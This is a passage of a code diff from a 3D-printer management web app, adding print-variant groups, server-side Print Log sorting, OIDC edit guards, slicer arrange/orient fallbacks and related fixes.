+                    # it: the project-wide collapse is caused by --arrange,
+                    # and which config drives the slice has no bearing on
+                    # that. Same call, minus --load-settings.
+                    if embedded_mode:
+                        per_plate = await service.slice_without_profiles(
+                            model_bytes=primary_bytes,
+                            model_filename=model_filename,
+                            plate=plate_num,
+                            export_3mf=True,
+                            arrange=True,
+                            orient=orient_flag,
+                            request_id=progress_request_id,
+                            on_progress=plate_cb,
+                        )
+                    else:
+                        per_plate = await service.slice_with_profiles(
+                            model_bytes=primary_bytes,
+                            model_filename=model_filename,
+                            printer_profile_json=presets["printer"],
+                            process_profile_json=presets["process"],
+                            filament_profile_jsons=filament_jsons,
+                            plate=plate_num,
+                            export_3mf=True,
+                            arrange=True,
+                            orient=orient_flag,
+                            request_id=progress_request_id,
+                            on_progress=plate_cb,
+                        )
                     per_plate_results.append((plate_num, per_plate))
 
                 # Merge the N single-plate 3MFs into one multi-plate 3MF.
@@ -3913,6 +3946,28 @@ async def _run_slicer_with_fallback(
                     filament_used_g=sum(r.filament_used_g for _, r in per_plate_results),
                     filament_used_mm=sum(r.filament_used_mm for _, r in per_plate_results),
                 )
+                # Report the path honestly: the loop can run either way, and
+                # the UI reads this flag to tell the user whose settings won.
+                used_embedded_settings = embedded_mode
+            elif embedded_mode:
+                # No --load-settings: feed the CLI the file's own
+                # project_settings.config untouched so the designer's tweaks
+                # (walls, infill, etc.) drive the slice. primary_bytes is
+                # already sentinel-sanitised above, the same bytes the
+                # crash-fallback uses. The resolved presets go unused here.
+                # Arrange / orient still apply: they are CLI actions on the
+                # geometry, not settings the embedded config could carry.
+                result = await service.slice_without_profiles(
+                    model_bytes=primary_bytes,
+                    model_filename=model_filename,
+                    plate=request.plate,
+                    export_3mf=request.export_3mf,
+                    arrange=arrange_flag,
+                    orient=orient_flag,
+                    request_id=progress_request_id,
+                    on_progress=progress_callback,
+                )
+                used_embedded_settings = True
             else:
                 result = await service.slice_with_profiles(
                     model_bytes=primary_bytes,
@@ -3922,7 +3977,8 @@ async def _run_slicer_with_fallback(
                     filament_profile_jsons=filament_jsons,
                     plate=request.plate,
                     export_3mf=request.export_3mf,
-                    arrange=cross_class_arrange,
+                    arrange=arrange_flag,
+                    orient=orient_flag,
                     request_id=progress_request_id,
                     on_progress=progress_callback,
                 )
@@ -3942,6 +3998,14 @@ async def _run_slicer_with_fallback(
                 # error (the outer handler turns it into a 502) instead of
                 # re-running the same embedded slice.
                 raise
+            if use_arrange_slice_all:
+                # The fallback is a single ``--slice 0`` call, and with
+                # arrange on that collapses every plate onto one bed — the
+                # exact outcome the per-plate loop above exists to avoid.
+                # Retrying would hand back a one-plate result for a job the
+                # user asked to slice as N, which reads as a Bambuddy bug
+                # rather than a slicer failure. Surface the error instead.
+                raise
             logger.warning(
                 "Slicer CLI failed on the --load-settings path for %s (%s); retrying with embedded settings",
                 model_filename,
@@ -3955,11 +4019,17 @@ async def _run_slicer_with_fallback(
             # there too, so without sanitisation the fallback would die
             # on the same sentinel error (#1201). The SliceModal flags
             # the difference to the user via used_embedded_settings.
+            # Carry the layout flags across too — the retry is meant to
+            # differ from the failed attempt only in where the print
+            # config came from, so dropping them here would silently
+            # produce an un-arranged result the user did ask for.
             result = await service.slice_without_profiles(
                 model_bytes=primary_bytes,
                 model_filename=model_filename,
                 plate=request.plate,
                 export_3mf=request.export_3mf,
+                arrange=arrange_flag,
+                orient=orient_flag,
                 request_id=progress_request_id,
                 on_progress=progress_callback,
             )
@@ -4692,6 +4762,9 @@ async def delete_file(
                 abs_thumb_path.unlink()
             except OSError as e:
                 logger.warning("Failed to delete thumbnail from disk: %s", e)
+        from backend.app.services.library_trash import delete_dependent_variants
+
+        await delete_dependent_variants(db, [file.id])
         await db.delete(file)
         await db.commit()
         return {"status": "success", "message": "File deleted", "trashed": False}

+ 425 - 0
backend/app/api/routes/library_variants.py

@@ -0,0 +1,425 @@
+"""Variant groups — one job, several sliced files (#671 / #2570).
+
+A user with more than one printer model slices the same job once per model. The
+files are unrelated as far as the library is concerned: different names,
+different metadata, often uploaded separately after being sliced in Bambu Studio.
+A variant group is the user telling Bambuddy that they are interchangeable.
+
+Two features consume that statement from opposite ends:
+
+* the print queue picks the printer and needs the matching file (#671)
+* the File Manager's print action has the printer already and needs the same
+  match (#2570)
+
+The group itself stores no model information. Each member's target model comes
+from its own ``sliced_for_model``, parsed out of the 3MF, so a group can never
+disagree with the files in it. A legacy file that declares no model may name one
+explicitly, because there is nothing else to go on.
+
+Invariants enforced here rather than in the database, because they are about
+meaning rather than shape:
+
+* **Two members minimum.** A group of one expresses no choice. Removing members
+  down to one dissolves the group rather than leaving a stub that does nothing.
+* **One member per model.** Two files sliced for the same printer are not
+  alternatives — the resolver would have no basis to prefer one, so an
+  arbitrary pick would look like a bug the first time the wrong quality preset
+  came out.
+* **Members must be sliced and must resolve to a model.** An unsliced .3mf can
+  never be dispatched, so it cannot be a candidate.
+* **A file belongs to at most one group**, which the schema already guarantees;
+  this layer turns the resulting overwrite into an explicit 409.
+
+Permissions follow library_tags.py: mutations need LIBRARY_UPDATE_ALL /
+LIBRARY_UPDATE_OWN, reads need LIBRARY_READ_ALL / LIBRARY_READ_OWN, and an
+``*_OWN`` caller only ever sees or touches files they created.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Depends, HTTPException
+from sqlalchemy import select
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from backend.app.core.auth import require_ownership_permission
+from backend.app.core.database import get_db
+from backend.app.core.permissions import Permission
+from backend.app.models.library import FileVariantGroup, LibraryFile
+from backend.app.models.user import User
+from backend.app.schemas.library import (
+    VariantGroupCreate,
+    VariantGroupMemberRequest,
+    VariantGroupMemberResponse,
+    VariantGroupResponse,
+    VariantGroupUpdate,
+)
+from backend.app.utils.printer_models import normalize_printer_model, normalize_printer_model_id
+
+logger = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/library/variant-groups", tags=["library-variants"])
+
+# File types that can actually be sent to a printer. A source .3mf or an .stl
+# has no G-code and no sliced_for_model, so it is never a dispatch candidate.
+_PRINTABLE_TYPES = ("gcode.3mf", "gcode")
+
+
+def normalize_model_name(raw: str | None) -> str | None:
+    """Normalize any spelling of a printer model to its short name.
+
+    Internal codes are resolved **first**. ``normalize_printer_model`` returns
+    unknown input unchanged rather than None, so an ``x or y`` chain in the other
+    order never reaches the code map and leaves "O1C" as "O1C" — which then
+    matches no printer row and leaves the job waiting forever. Running the code
+    map first is a no-op for every non-code input.
+    """
+    if not raw:
+        return None
+    return normalize_printer_model(normalize_printer_model_id(raw) or raw) or raw
+
+
+def resolve_variant_model(lib_file: LibraryFile, explicit: str | None = None) -> str | None:
+    """Normalized model a file will be dispatched to, or None if unknowable.
+
+    Precedence: the caller's explicit choice for this request, then the durable
+    override stored on the file, then what the 3MF itself declares. The override
+    exists because a file imported before Bambuddy parsed ``sliced_for_model``
+    declares nothing, and without a way to say so it could never be grouped.
+    It is kept separate from ``file_metadata`` so a user's assertion is never
+    mistaken for something parsed out of the file.
+    """
+    raw = explicit or lib_file.variant_target_model or (lib_file.file_metadata or {}).get("sliced_for_model")
+    return normalize_model_name(raw)
+
+
+async def _load_files(
+    db: AsyncSession,
+    file_ids: list[int],
+    user: User | None,
+    can_access_all: bool,
+) -> dict[int, LibraryFile]:
+    """Fetch the caller's visible, untrashed files by id."""
+    query = LibraryFile.active().where(LibraryFile.id.in_(file_ids))
+    if user is not None and not can_access_all:
+        query = query.where(LibraryFile.created_by_id == user.id)
+    rows = (await db.execute(query)).scalars().all()
+    return {f.id: f for f in rows}
+
+
+def _validate_member(lib_file: LibraryFile, explicit_model: str | None) -> str:
+    """Return the member's model, or raise the reason it cannot be one."""
+    if lib_file.file_type not in _PRINTABLE_TYPES:
+        raise HTTPException(
+            400,
+            f"{lib_file.filename} is not a sliced file — only sliced output can be a print variant",
+        )
+    model = resolve_variant_model(lib_file, explicit_model)
+    if not model:
+        raise HTTPException(
+            400,
+            f"{lib_file.filename} does not say which printer it was sliced for — set its target model explicitly",
+        )
+    if explicit_model:
+        # Persist the user's answer, normalized. The group stores no model data
+        # of its own, so without this the choice would last exactly one request
+        # and the member would read back with no model at all.
+        lib_file.variant_target_model = model
+    return model
+
+
+async def _group_response(db: AsyncSession, group: FileVariantGroup) -> VariantGroupResponse:
+    members = (
+        (
+            await db.execute(
+                LibraryFile.active()
+                .where(LibraryFile.variant_group_id == group.id)
+                .order_by(LibraryFile.variant_position, LibraryFile.id)
+            )
+        )
+        .scalars()
+        .all()
+    )
+    return VariantGroupResponse(
+        id=group.id,
+        name=group.name,
+        members=[
+            VariantGroupMemberResponse(
+                library_file_id=f.id,
+                filename=f.filename,
+                # Members were validated on the way in, but a file whose metadata
+                # was rewritten since then should not blow up a read.
+                target_model=resolve_variant_model(f) or "",
+                position=f.variant_position,
+            )
+            for f in members
+        ],
+    )
+
+
+async def _get_group_or_404(db: AsyncSession, group_id: int) -> FileVariantGroup:
+    group = (await db.execute(select(FileVariantGroup).where(FileVariantGroup.id == group_id))).scalar_one_or_none()
+    if not group:
+        raise HTTPException(404, "Variant group not found")
+    return group
+
+
+async def _dissolve_if_too_small(db: AsyncSession, group: FileVariantGroup) -> bool:
+    """Delete the group when fewer than two members remain.
+
+    A one-member group is not a choice, and leaving one behind would let the
+    queue create a cross-model item with a single candidate that silently
+    behaves like an ordinary job. Returns True when the group was dissolved.
+    """
+    remaining = (await db.execute(select(LibraryFile).where(LibraryFile.variant_group_id == group.id))).scalars().all()
+    if len(remaining) >= 2:
+        return False
+    for lib_file in remaining:
+        lib_file.variant_group_id = None
+        lib_file.variant_position = 0
+    await db.delete(group)
+    return True
+
+
+@router.post("", response_model=VariantGroupResponse, status_code=201)
+@router.post("/", response_model=VariantGroupResponse, status_code=201)
+async def create_variant_group(
+    payload: VariantGroupCreate,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_UPDATE_ALL,
+            Permission.LIBRARY_UPDATE_OWN,
+        )
+    ),
+) -> VariantGroupResponse:
+    """Group files as variants of one job, in priority order."""
+    user, can_update_all = auth_result
+
+    file_ids = [m.library_file_id for m in payload.members]
+    if len(set(file_ids)) != len(file_ids):
+        raise HTTPException(400, "The same file cannot appear twice in a variant group")
+
+    files = await _load_files(db, file_ids, user, can_update_all)
+    missing = [fid for fid in file_ids if fid not in files]
+    if missing:
+        raise HTTPException(404, f"Library file not found: {missing[0]}")
+
+    already_grouped = [files[fid].filename for fid in file_ids if files[fid].variant_group_id is not None]
+    if already_grouped:
+        raise HTTPException(409, f"{already_grouped[0]} already belongs to a variant group")
+
+    models: dict[str, str] = {}
+    for member in payload.members:
+        lib_file = files[member.library_file_id]
+        model = _validate_member(lib_file, member.target_model)
+        if model in models:
+            raise HTTPException(
+                400,
+                f"{lib_file.filename} and {models[model]} are both sliced for {model} — "
+                "variants must target different printers",
+            )
+        models[model] = lib_file.filename
+
+    group = FileVariantGroup(
+        name=payload.name or files[file_ids[0]].filename,
+        created_by_id=user.id if user else None,
+    )
+    db.add(group)
+    await db.flush()
+
+    for position, fid in enumerate(file_ids):
+        files[fid].variant_group_id = group.id
+        files[fid].variant_position = position
+
+    await db.commit()
+    logger.info("Created variant group %s with %d members", group.id, len(file_ids))
+    return await _group_response(db, group)
+
+
+@router.get("/by-file/{file_id}", response_model=VariantGroupResponse)
+async def get_group_for_file(
+    file_id: int,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_READ_ALL,
+            Permission.LIBRARY_READ_OWN,
+        )
+    ),
+) -> VariantGroupResponse:
+    """The group a file belongs to.
+
+    Both consumers start from a file rather than a group id: the print modal
+    knows which file the user clicked, and the queue-create flow knows which
+    file was selected.
+    """
+    user, can_read_all = auth_result
+    files = await _load_files(db, [file_id], user, can_read_all)
+    lib_file = files.get(file_id)
+    if not lib_file:
+        raise HTTPException(404, "Library file not found")
+    if lib_file.variant_group_id is None:
+        raise HTTPException(404, "File is not part of a variant group")
+    return await _group_response(db, await _get_group_or_404(db, lib_file.variant_group_id))
+
+
+@router.get("/{group_id}", response_model=VariantGroupResponse)
+async def get_variant_group(
+    group_id: int,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_READ_ALL,
+            Permission.LIBRARY_READ_OWN,
+        )
+    ),
+) -> VariantGroupResponse:
+    return await _group_response(db, await _get_group_or_404(db, group_id))
+
+
+@router.patch("/{group_id}", response_model=VariantGroupResponse)
+async def update_variant_group(
+    group_id: int,
+    payload: VariantGroupUpdate,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_UPDATE_ALL,
+            Permission.LIBRARY_UPDATE_OWN,
+        )
+    ),
+) -> VariantGroupResponse:
+    """Rename the group, re-order its members, or both.
+
+    Re-ordering is how the user says which printer they would rather have when
+    both are free, so it must be an explicit full ordering — a partial list
+    would leave the rest in an order nobody chose.
+    """
+    user, can_update_all = auth_result
+    group = await _get_group_or_404(db, group_id)
+
+    if payload.name is not None:
+        group.name = payload.name
+
+    if payload.member_file_ids is not None:
+        current = (
+            (await db.execute(select(LibraryFile).where(LibraryFile.variant_group_id == group.id))).scalars().all()
+        )
+        if set(payload.member_file_ids) != {f.id for f in current}:
+            raise HTTPException(400, "member_file_ids must list exactly the group's current members")
+        files = await _load_files(db, payload.member_file_ids, user, can_update_all)
+        if len(files) != len(payload.member_file_ids):
+            raise HTTPException(404, "Library file not found")
+        for position, fid in enumerate(payload.member_file_ids):
+            files[fid].variant_position = position
+
+    await db.commit()
+    return await _group_response(db, group)
+
+
+@router.post("/{group_id}/members", response_model=VariantGroupResponse)
+async def add_variant_group_member(
+    payload: VariantGroupMemberRequest,
+    group_id: int,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_UPDATE_ALL,
+            Permission.LIBRARY_UPDATE_OWN,
+        )
+    ),
+) -> VariantGroupResponse:
+    """Attach another slice to an existing group.
+
+    This is the common real case: the H2S version was queued last week, the H2C
+    version was sliced today.
+    """
+    user, can_update_all = auth_result
+    group = await _get_group_or_404(db, group_id)
+
+    files = await _load_files(db, [payload.library_file_id], user, can_update_all)
+    lib_file = files.get(payload.library_file_id)
+    if not lib_file:
+        raise HTTPException(404, "Library file not found")
+    if lib_file.variant_group_id == group.id:
+        raise HTTPException(409, f"{lib_file.filename} is already in this group")
+    if lib_file.variant_group_id is not None:
+        raise HTTPException(409, f"{lib_file.filename} already belongs to a variant group")
+
+    model = _validate_member(lib_file, payload.target_model)
+
+    existing = (
+        (
+            await db.execute(
+                LibraryFile.active()
+                .where(LibraryFile.variant_group_id == group.id)
+                .order_by(LibraryFile.variant_position, LibraryFile.id)
+            )
+        )
+        .scalars()
+        .all()
+    )
+    for other in existing:
+        if resolve_variant_model(other) == model:
+            raise HTTPException(
+                400,
+                f"{lib_file.filename} and {other.filename} are both sliced for {model} — "
+                "variants must target different printers",
+            )
+
+    lib_file.variant_group_id = group.id
+    lib_file.variant_position = len(existing)
+    await db.commit()
+    return await _group_response(db, group)
+
+
+@router.delete("/{group_id}/members/{file_id}", response_model=None, status_code=204)
+async def remove_variant_group_member(
+    group_id: int,
+    file_id: int,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_UPDATE_ALL,
+            Permission.LIBRARY_UPDATE_OWN,
+        )
+    ),
+) -> None:
+    """Drop one file out of a group; the file itself is untouched."""
+    user, can_update_all = auth_result
+    group = await _get_group_or_404(db, group_id)
+
+    files = await _load_files(db, [file_id], user, can_update_all)
+    lib_file = files.get(file_id)
+    if not lib_file or lib_file.variant_group_id != group.id:
+        raise HTTPException(404, "File is not a member of this group")
+
+    lib_file.variant_group_id = None
+    lib_file.variant_position = 0
+    await db.flush()
+    await _dissolve_if_too_small(db, group)
+    await db.commit()
+
+
+@router.delete("/{group_id}", response_model=None, status_code=204)
+async def delete_variant_group(
+    group_id: int,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_UPDATE_ALL,
+            Permission.LIBRARY_UPDATE_OWN,
+        )
+    ),
+) -> None:
+    """Ungroup the files. The files themselves are kept — every one of them is
+    independently printable, which is the whole reason they were grouped."""
+    group = await _get_group_or_404(db, group_id)
+    members = (await db.execute(select(LibraryFile).where(LibraryFile.variant_group_id == group.id))).scalars().all()
+    for lib_file in members:
+        lib_file.variant_group_id = None
+        lib_file.variant_position = 0
+    await db.delete(group)
+    await db.commit()

+ 16 - 0
backend/app/api/routes/mfa.py

@@ -1404,6 +1404,18 @@ async def create_oidc_provider(
     return _build_provider_response(provider)
 
 
+def _refuse_if_env_managed(provider: OIDCProvider) -> None:
+    """Startup rewrites this provider from BAMBUDDY_OIDC_* on every boot, so an
+    edit here would be accepted and then silently reverted at the next restart.
+    BAMBUDDY_LOCAL_LOGIN (#1589) remains the recovery path if it becomes
+    unusable, so refusing outright cannot lock anyone out."""
+    if provider.is_env_managed:
+        raise HTTPException(
+            status_code=status.HTTP_409_CONFLICT,
+            detail="This OIDC provider is managed by environment variables and cannot be modified.",
+        )
+
+
 @router.put("/oidc/providers/{provider_id}", response_model=OIDCProviderResponse)
 async def update_oidc_provider(
     provider_id: int,
@@ -1426,6 +1438,7 @@ async def update_oidc_provider(
     provider = result2.scalar_one_or_none()
     if not provider:
         raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Provider not found")
+    _refuse_if_env_managed(provider)
 
     if body.default_group_id is not None:
         grp_chk = await db.execute(select(Group).where(Group.id == body.default_group_id))
@@ -1503,6 +1516,7 @@ async def delete_oidc_provider(
     provider = result2.scalar_one_or_none()
     if not provider:
         raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Provider not found")
+    _refuse_if_env_managed(provider)
 
     await db.delete(provider)
     await db.commit()
@@ -1571,6 +1585,7 @@ async def delete_oidc_provider_icon(
     provider = result.scalar_one_or_none()
     if provider is None:
         raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Provider not found")
+    _refuse_if_env_managed(provider)
 
     # Setting deferred columns is safe — no read happens, just a write.
     provider.icon_url = None
@@ -1603,6 +1618,7 @@ async def refresh_oidc_provider_icon(
     provider = result.scalar_one_or_none()
     if provider is None:
         raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Provider not found")
+    _refuse_if_env_managed(provider)
     if not provider.icon_url:
         raise HTTPException(
             status_code=status.HTTP_400_BAD_REQUEST,

+ 24 - 3
backend/app/api/routes/orca_cloud.py

@@ -431,6 +431,7 @@ async def _upsert_settings(db: AsyncSession, values: dict[str, str | None]) -> N
 async def _build_authenticated_service(
     db: AsyncSession,
     user: User | None,
+    clear_on_auth_failure: bool = True,
 ) -> OrcaCloudService:
     """Construct an :class:`OrcaCloudService` pre-populated with stored
     credentials. If the access token is within the refresh-leeway of expiry,
@@ -440,7 +441,24 @@ async def _build_authenticated_service(
     We don't lock around the refresh: Orca tolerates concurrent refreshes for
     ~60s (each racer gets its own valid pair on the same connection rather than
     a revoke), so a lost race here is harmless — last-write-wins on the stored
-    pair, and whichever pair we keep is valid."""
+    pair, and whichever pair we keep is valid.
+
+    ``clear_on_auth_failure`` controls what happens when the refresh is
+    rejected. Routes leave it on: the caller is a person looking at the UI, and
+    wiping the dead credentials flips the page to disconnected in front of them
+    so they can pair again. Background jobs pass ``False`` — see the caveat
+    below.
+
+    Why background callers must not clear: Orca reports every rejection with
+    one composite reason (``unknown, expired, revoked, or already used``), so
+    a genuine revocation is indistinguishable from a lost refresh-rotation
+    race. Acting destructively on a signal that can't be disambiguated is the
+    #2562 mistake in a different cloud. It also gains nothing — a route call
+    hits the same failure and clears then, at a moment the user can respond to.
+    A successful refresh is still persisted either way: by that point the old
+    refresh token is consumed, so dropping the new pair would break a working
+    pairing for real.
+    """
     creds = await _load_credentials(db, user)
     if not creds.token:
         raise HTTPException(status_code=401, detail="Orca Cloud is not connected — sign in first.")
@@ -457,8 +475,11 @@ async def _build_authenticated_service(
             await svc.refresh()
         except OrcaCloudAuthError as e:
             # Refresh token was revoked or rotated out from under us. Clear
-            # the stale credentials so the UI flips to disconnected.
-            await _clear_credentials(db, user)
+            # the stale credentials so the UI flips to disconnected — unless
+            # the caller is a background job, which must not change sign-in
+            # state on its own.
+            if clear_on_auth_failure:
+                await _clear_credentials(db, user)
             raise HTTPException(status_code=401, detail=f"Orca Cloud session refresh failed: {e}") from e
         except OrcaCloudError as e:
             raise HTTPException(status_code=502, detail=f"Orca Cloud unreachable: {e}") from e

+ 57 - 47
backend/app/api/routes/print_log.py

@@ -3,7 +3,7 @@ from datetime import datetime
 
 from fastapi import APIRouter, Depends, HTTPException, Query
 from fastapi.responses import FileResponse
-from sqlalchemy import delete, func, select
+from sqlalchemy import delete, func, nullslast, select
 from sqlalchemy.ext.asyncio import AsyncSession
 
 from backend.app.core.auth import (
@@ -22,6 +22,30 @@ logger = logging.getLogger(__name__)
 
 router = APIRouter(prefix="/print-log", tags=["print-log"])
 
+# Sortable columns, keyed by the id the Print Log table uses for its columns
+# (#2636). An explicit map rather than getattr on a caller-supplied string:
+# the client picks the key, so anything else would let a request order by any
+# attribute it can name.
+#
+# ``date`` coalesces because the column renders ``started_at or created_at`` —
+# sorting on started_at alone would scatter the rows that have no start time
+# (queue-skipped entries) instead of interleaving them where the user sees
+# them.
+_SORTABLE_COLUMNS = {
+    "date": func.coalesce(PrintLogEntry.started_at, PrintLogEntry.created_at),
+    "print_name": PrintLogEntry.print_name,
+    "printer": PrintLogEntry.printer_name,
+    "user": PrintLogEntry.created_by_username,
+    "status": PrintLogEntry.status,
+    "duration": PrintLogEntry.duration_seconds,
+    "completed_at": PrintLogEntry.completed_at,
+    "filament": PrintLogEntry.filament_type,
+    "filament_used": PrintLogEntry.filament_used_grams,
+    "cost": PrintLogEntry.cost,
+    "energy": PrintLogEntry.energy_kwh,
+    "energy_cost": PrintLogEntry.energy_cost,
+}
+
 
 @router.get("/", response_model=PrintLogResponse)
 async def get_print_log(
@@ -33,6 +57,8 @@ async def get_print_log(
     date_to: datetime | None = None,
     limit: int = Query(default=50, ge=1, le=500),
     offset: int = Query(default=0, ge=0),
+    sort_by: str = Query(default="date"),
+    sort_dir: str = Query(default="desc", pattern="^(asc|desc)$"),
     db: AsyncSession = Depends(get_db),
     auth_result: tuple[User | None, bool] = Depends(
         require_ownership_permission(
@@ -72,37 +98,36 @@ async def get_print_log(
     total_result = await db.execute(count_query)
     total = total_result.scalar() or 0
 
-    # Get paginated results
-    query = query.order_by(PrintLogEntry.created_at.desc()).offset(offset).limit(limit)
+    # Sorting happens here rather than in the browser because the table is
+    # paginated server-side: ordering the 25 rows the client happens to hold
+    # would answer "the most expensive print on this page", which is not what
+    # clicking a column header means.
+    sort_column = _SORTABLE_COLUMNS.get(sort_by)
+    if sort_column is None:
+        raise HTTPException(400, f"Cannot sort by {sort_by!r}")
+    ordering = sort_column.asc() if sort_dir == "asc" else sort_column.desc()
+    # NULLs last in both directions, so a column that is empty for half the
+    # rows (cost before a spool is priced, energy without a smart plug) never
+    # buries the rows that do have values. Left to the database this differs
+    # per backend — Postgres sorts NULLs high, SQLite sorts them low — so the
+    # same click would give two different first pages depending on deployment.
+    query = query.order_by(nullslast(ordering), PrintLogEntry.id.desc())
+    # id.desc() above is the tiebreaker: without it, rows sharing a value
+    # (every "completed" when sorting by status) come back in whatever order
+    # the planner picks, which can differ between pages and duplicate or drop
+    # a row as the user pages through.
+    query = query.offset(offset).limit(limit)
     result = await db.execute(query)
     entries = result.scalars().all()
 
+    # Validate straight off the ORM rows rather than naming each field: the
+    # hand-written version dropped whatever it forgot to mention, and a
+    # forgotten field is indistinguishable from a NULL column on the wire.
+    # It lost failure_reason that way (#1687 part 4), then cost / energy_kwh /
+    # energy_cost, which were written to the table but never sent — so the
+    # Print Log's cost and energy columns read empty for every run (#2636).
     return PrintLogResponse(
-        items=[
-            PrintLogEntrySchema(
-                id=e.id,
-                archive_id=e.archive_id,
-                print_name=e.print_name,
-                printer_name=e.printer_name,
-                printer_id=e.printer_id,
-                status=e.status,
-                started_at=e.started_at,
-                completed_at=e.completed_at,
-                duration_seconds=e.duration_seconds,
-                filament_type=e.filament_type,
-                filament_color=e.filament_color,
-                filament_used_grams=e.filament_used_grams,
-                # failure_reason was silently dropped by the GET serialiser
-                # before #1687 part 4 — without it the Print Log table couldn't
-                # surface what the Failure Analysis widget already groups by.
-                failure_reason=e.failure_reason,
-                thumbnail_path=e.thumbnail_path,
-                created_by_id=e.created_by_id,
-                created_by_username=e.created_by_username,
-                created_at=e.created_at,
-            )
-            for e in entries
-        ],
+        items=[PrintLogEntrySchema.model_validate(e) for e in entries],
         total=total,
     )
 
@@ -285,22 +310,7 @@ async def update_print_log_entry(
         entry.status,
     )
 
-    return PrintLogEntrySchema(
-        id=entry.id,
-        archive_id=entry.archive_id,
-        print_name=entry.print_name,
-        printer_name=entry.printer_name,
-        printer_id=entry.printer_id,
-        status=entry.status,
-        started_at=entry.started_at,
-        completed_at=entry.completed_at,
-        duration_seconds=entry.duration_seconds,
-        filament_type=entry.filament_type,
-        filament_color=entry.filament_color,
-        filament_used_grams=entry.filament_used_grams,
-        failure_reason=entry.failure_reason,
-        thumbnail_path=entry.thumbnail_path,
-        created_by_id=entry.created_by_id,
-        created_by_username=entry.created_by_username,
-        created_at=entry.created_at,
-    )
+    # Same field-by-field trap as the list route: this one also omitted cost
+    # and the energy pair, so the row the client merged back after an edit
+    # blanked whichever columns it was showing for them.
+    return PrintLogEntrySchema.model_validate(entry)

Rozdílová data souboru nebyla zobrazena, protože soubor je příliš velký
+ 719 - 86
backend/app/api/routes/print_queue.py


+ 19 - 16
backend/app/api/routes/printers.py

@@ -52,6 +52,7 @@ from backend.app.services.bambu_ftp import (
 )
 from backend.app.services.printer_diagnostic import run_connection_diagnostic
 from backend.app.services.printer_manager import (
+    display_temperatures,
     drying_screen_only,
     get_derived_status_name,
     printer_manager,
@@ -61,10 +62,11 @@ from backend.app.services.printer_manager import (
     supports_chamber_temp,
     supports_drying,
     supports_drying_while_printing,
+    uniform_tray_filament_hint,
 )
 from backend.app.utils.filament_ids import filament_id_to_setting_id
 from backend.app.utils.http import build_content_disposition
-from backend.app.utils.printer_models import uses_exhaust_fan_label
+from backend.app.utils.printer_models import MAX_CHAMBER_TEMP_C, uses_exhaust_fan_label
 
 logger = logging.getLogger(__name__)
 router = APIRouter(prefix="/printers", tags=["printers"])
@@ -576,20 +578,12 @@ async def get_printer_status(
                     dry_target_temp = None
             if target_fil_val:
                 dry_filament = str(target_fil_val)
-            # Fallback: derive from first loaded tray when no cached target
-            # (drying started in a previous backend session, or cache wasn't
-            # seeded). Mirrors the popover seed heuristic.
-            if dry_target_temp is None or not dry_filament:
-                for tray in trays:
-                    if tray.tray_type:
-                        if not dry_filament:
-                            dry_filament = str(tray.tray_type)
-                        if dry_target_temp is None and tray.drying_temp:
-                            try:
-                                dry_target_temp = int(tray.drying_temp)
-                            except (TypeError, ValueError):
-                                pass
-                        break
+            # Fallback: name the filament from the loaded trays when there is no
+            # cached target (drying started in a previous backend session, or
+            # the cache wasn't seeded), and only when they agree. The
+            # temperature has no fallback — see uniform_tray_filament_hint.
+            if not dry_filament:
+                dry_filament = uniform_tray_filament_hint([tray.tray_type or "" for tray in trays])
 
             ams_units.append(
                 AMSUnit(
@@ -869,6 +863,7 @@ async def get_overlay_status(
             "layer_num": None,
             "total_layers": None,
             "stg_cur_name": None,
+            "temperatures": {},
             "time_format": time_format,
         }
 
@@ -885,6 +880,9 @@ async def get_overlay_status(
         "layer_num": state.layer_num,
         "total_layers": state.total_layers,
         "stg_cur_name": get_derived_status_name(state, printer.model),
+        # Nozzle / bed / chamber readings for the overlay's temperature fields
+        # (#1422). Filtered rather than passed through: see display_temperatures.
+        "temperatures": display_temperatures(state.temperatures, printer.model),
         "time_format": time_format,
     }
 
@@ -3163,7 +3161,12 @@ async def set_bed_temperature(
 @router.post("/{printer_id}/temperature/chamber")
 async def set_chamber_temperature(
     printer_id: int,
-    target: int = Query(..., ge=0, le=60, description="Target chamber temperature in Celsius; 0 turns heating off"),
+    target: int = Query(
+        ...,
+        ge=0,
+        le=MAX_CHAMBER_TEMP_C,
+        description="Target chamber temperature in Celsius; 0 turns heating off",
+    ),
     _=RequirePermissionIfAuthEnabled(Permission.PRINTERS_CONTROL),
     db: AsyncSession = Depends(get_db),
 ):

+ 83 - 0
backend/app/api/routes/updates.py

@@ -110,6 +110,84 @@ def _is_docker_environment() -> bool:
     return False
 
 
+# Mount points the shipped compose file gives Bambuddy. Only these are
+# consulted when guessing the compose directory — an arbitrary bind mount
+# (a NAS share, an external library root) says nothing about where the
+# compose file lives.
+_COMPOSE_BIND_MOUNTPOINTS = ("/app/data", "/app/logs")
+
+# A named volume resolves to ``.../docker/volumes/<project>_bambuddy_data/_data``
+# in mountinfo. That names the compose *project* but reveals nothing about
+# the directory holding the compose file, so these entries are skipped.
+_DOCKER_NAMED_VOLUME_ROOT = re.compile(r"/docker/volumes/[^/]+/_data/?$")
+
+
+def _compose_dir_from_mountinfo() -> str | None:
+    """Guess the host directory holding the compose file, or None (#2664).
+
+    ``docker compose pull`` only works from the directory containing the
+    compose file, so the command the update box prints is unusable until the
+    user remembers where that is. Compose knows the answer — it stamps
+    ``com.docker.compose.project.working_dir`` onto every container it
